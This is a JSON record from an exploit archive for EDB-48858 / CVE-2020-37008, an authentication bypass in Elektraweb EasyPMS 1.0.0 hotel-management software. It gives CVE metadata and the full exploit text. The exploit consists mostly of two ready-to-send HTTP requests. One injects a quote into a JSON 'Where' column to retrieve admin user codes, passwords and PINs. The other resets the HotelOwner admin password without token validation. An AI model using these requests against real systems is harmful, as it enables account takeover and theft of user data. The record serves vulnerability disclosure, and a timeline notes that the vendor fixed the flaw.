{"exploit":{"id":"EDB-48858","name":"Elektraweb EasyPMS 1.0.0 - Authentication Bypass","description":"Elektraweb EasyPMS 1.0.0 - Authentication Bypass","cves":["CVE-2020-37008"],"author":"Jok3r","published":"2020-10-06","platform":"json","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48858","path":"exploits/json/webapps/48858.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48858.txt","vulnerabilities":[{"id":"CVE-2020-37008","state":"PUBLISHED","title":"EasyPMS 1.0.0 - Authentication Bypass","titleSource":"CVE Program","description":"EasyPMS 1.0.0 contains an authentication bypass vulnerability that allows unprivileged users to manipulate SQL queries in JSON requests to access admin user information. Attackers can exploit weak input validation by injecting single quotes in ID parameters and modify admin user passwords without proper token authentication.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-37008","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-37008"},"updatedAt":"2026-05-12T20:46:24.594Z","retrievedAt":"2026-11-27T04:04:03.974Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48858.png?v=2","url":"https://exploitbin.com/exploits/EDB-48858","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48858/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48858/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: EasyPMS 1.0.0 - Authentication Bypass\n# Discovery by: Jok3r\n# Vendor Homepage: https://www.elektraweb.com/en/\n# Software Link: https://github.com/Travelaps/EasyPMS/releases/\n# Tested Version: 1.0.0\n# Vulnerability Type: Authentication Bypass\n# Tested on OS: Windows Server 2012\n\n#Description:\n\nEasyPMS has authentication bypass vulnerability that low privilege user can escalate privilege to HotelOwner admin privilege.\n\nSteps to Reproduce:\n\n1)\nUnprivileged user can manipulate sql query within json request format. Admin user code can be obtained using single quote after ID column so\nthat where clause is invalid.\n\nFirst Request:\n\nPOST /Select/STDUSER HTTP/1.1\nHost: target\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://target/app/record/user-profile;index=$ANG.STDUSERID\nContent-Type: text/plain\nContent-Length: 689\nOrigin: https://target\nConnection: close\n\n\n\n{\"Action\":\"Select\",\"Object\":\"STDUSER\",\"Select\":[\"ID\",\"USERCODE\",\"PASSWORD\",\"EMAIL\",\"LASTNAME\",\"GSM\",\"PHONE\",\"HOTELID\",\"FIRSTNAME\",\"PINCODE\"],\"Where\":[{\"Column\":\"ID'\",\"Operator\":\"=\",\"Value\":\"80403\"},{\"Column\":\"HOTELID\",\"Operator\":\"=\",\"Value\":22330}],\"Paging\":{\"Current\":1,\"ItemsPerPage\":3},\"LoginToken\":\"token_value\"}\n\n\n\n2)\nWhile user is sending password resetting request, can change password of Admin user that is inside HotelOwner privilege class.\nBecause there is not validation of token and user has write permission on STDUSER table so admin user password can be changed by unprivileged user that obtains ID of admin user\nsending first request.\n\n\n\nSecond Request:\n\nPOST / HTTP/1.1\nHost: target\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://target/login\nContent-Type: text/plain\nContent-Length: 128\nOrigin: https://target\nConnection: close\n\n\n{\"Row\":{\"PASSWORD\":\"Qw12344.\",\"ID\":\"80401\",\"HOTELID\":22330},\"SelectAfterUpdate\":[\"ID\"],\"Action\":\"Update\",\"Object\":\"STDUSER\"}\n\n\n\n\n\n\n# Timeline:\n# 01.10.2020 - issue was discovered\n# 02.10.2020 - notify to vendor\n# 02.10.2020 - vendor fixed","sha256":"5e1b54526d838f65a605e503177da980b0529f40c0027c57d4a5926b43b75d09","bytes":2278,"fetchedAt":"2026-11-27T04:12:06.348Z","encoding":"utf-8 (display only; download retains original bytes)"}